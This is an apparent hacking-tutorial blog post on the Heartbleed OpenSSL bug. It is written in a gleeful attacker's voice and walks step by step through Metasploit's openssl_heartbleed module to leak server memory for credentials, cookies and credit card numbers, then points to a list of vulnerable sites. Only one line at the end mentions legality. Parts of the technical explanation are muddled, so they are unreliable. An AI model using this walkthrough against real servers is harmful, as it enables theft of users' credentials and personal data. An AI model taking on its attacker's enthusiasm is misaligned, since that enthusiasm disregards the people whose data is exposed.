The Heartbleed Bug

On April 7, 2014, OpenSSL received a fix to a very popular and controversial vulnerability- The Heartbleed bug. On that day, over half a million web servers were found to be vulnerable. Fortunately that number is steadily decreasing and just like every other exploit, the Heartbleed bug is now out in the wild and the epidemic may never be fully eliminated (A hacker can dream, right?)

This vulnerability allows a hacker to extract information from a server’s memory which may contain authentication credentials, cookies, the server’s private key (even the admin password), and personally identifiable info (PII) that could be used for identity theft. The biggest websites on the internet were vulnerable. Facebook, Google, Twitter, Instagram, Yahoo, Pinterest, Tumblr, Dropbox and a few million more. All these websites were quick to announce, within a few weeks, that they’ve successfully patched the bug. What they didn’t announce, is that this vulnerability existed even 2 years ago and only now came to light. This is also part of the reason why users were recommended to change all passwords everywhere. The NSA has (allegedly) been using this vulnerability for years to exploit websites.

OpenSSL is an encryption library used in HTTPS (secure HTTP). If you ever notice URL bar after typing the address, say “google.com” you’ll see that it automatically changes to “https://www.google.com”. That is the job of OpenSSL. OpenSSL basically encrypts all communication between the server and the client while it takes place through the HTTPS URL. This makes all the password sniffing cookie stealing hacks impossible (sad face).

During communication, OpenSSL uses a handshake, or more popularly, a “heartbeat” that echoes back a signal to verify that the data was received correctly. It’s a bit like double checking whether the message was successfully received or not (Like the two tick marks you can see on WhatsApp messages).

The appropriately named Heartbleed bug vulnerability enables a hacker to trick OpenSSL by sending a message that is misinterpreted by the server running OpenSSL, which then actually sends back the actual data without any questions asked. The exact details are a bit technical, but thanks to Metasploit we don’t need to worry about them. Roughly translated, a single byte of data is sent to the server telling it that we actually sent 64K bytes of data. The server will then send back 64K bytes of data to be checked and echoed back. After this ‘heartbeat’, the server again sends 64K of random data from its memory. That 1 byte contains the buggy requests which confuses the server making it give up random information. So, with every ‘heartbeat’ we get 64Kb of private information (That’s enough for ~64,000 characters in plain unencrypted text. A lot of it will be rubbish but still enough for A LOT of accounts and passwords)

Now for the exploit. Here you’ll learn to exploit the Heartbleed bug for getting a buggy website’s OpenSSL to spill the contents of its memory and possibly give us the user’s credentials and other information.

Step 1: This might be a good time to update metasploit to get the new auxiliary module for Heartbleed (Unless you downloaded metasploit after the exploit was released). Type:

kali > msfupdate

Metasploit will then go through the long and slow process of checking and updating its modules and framework. On being returned to the command prompt, the update has completed and we’re ready to begin.

Step 2: Start Metasploit

kali > msfconsole

Step 3: Find Heartbleed using the built in search feature. Type:

search heartbleed

This should bring up two auxiliary modules for Heartbleed. We want the one under ‘scanner’ folder and not ‘server’.

Step 4: Load up the auxiliary module

use auxiliary/scanner/ssl/openssl_heartbleed

This will load the heartbleed module.

Whenever using a new module, you may wish to find more about it and the options we can set for it.

msf > info

This command reveals the options that we can set in order to use this module and a description of the module.

Step 5: Set RHOSTS. RHOSTS refers to the website that is vulnerable to the Heartbleed bug. We can set it to the IP address of the website as shown below (To find the IP address of a website, simply ping it through the command line (e.g : ping www.google.com) :

msf > set RHOSTS 192.168.1.169

msf > set verbose true

Finally, set the option ‘verbose” to “true”. This will provide us with verbose output (i.e., everything that metasploit receives from the server will be shown to us).

Step 6: Let her rip.

msf > run

If everything went as planned the server will leak about 64K bytes of what was in its memory. This could contain anything from username-password pairs to credit card numbers which is why this hack (along with pretty much all others) is very much illegal to actually try on a live website without the developer’s explicit consent.

Here is an interesting page listing the names of thousands of vulnerable websites:

metasploit , attack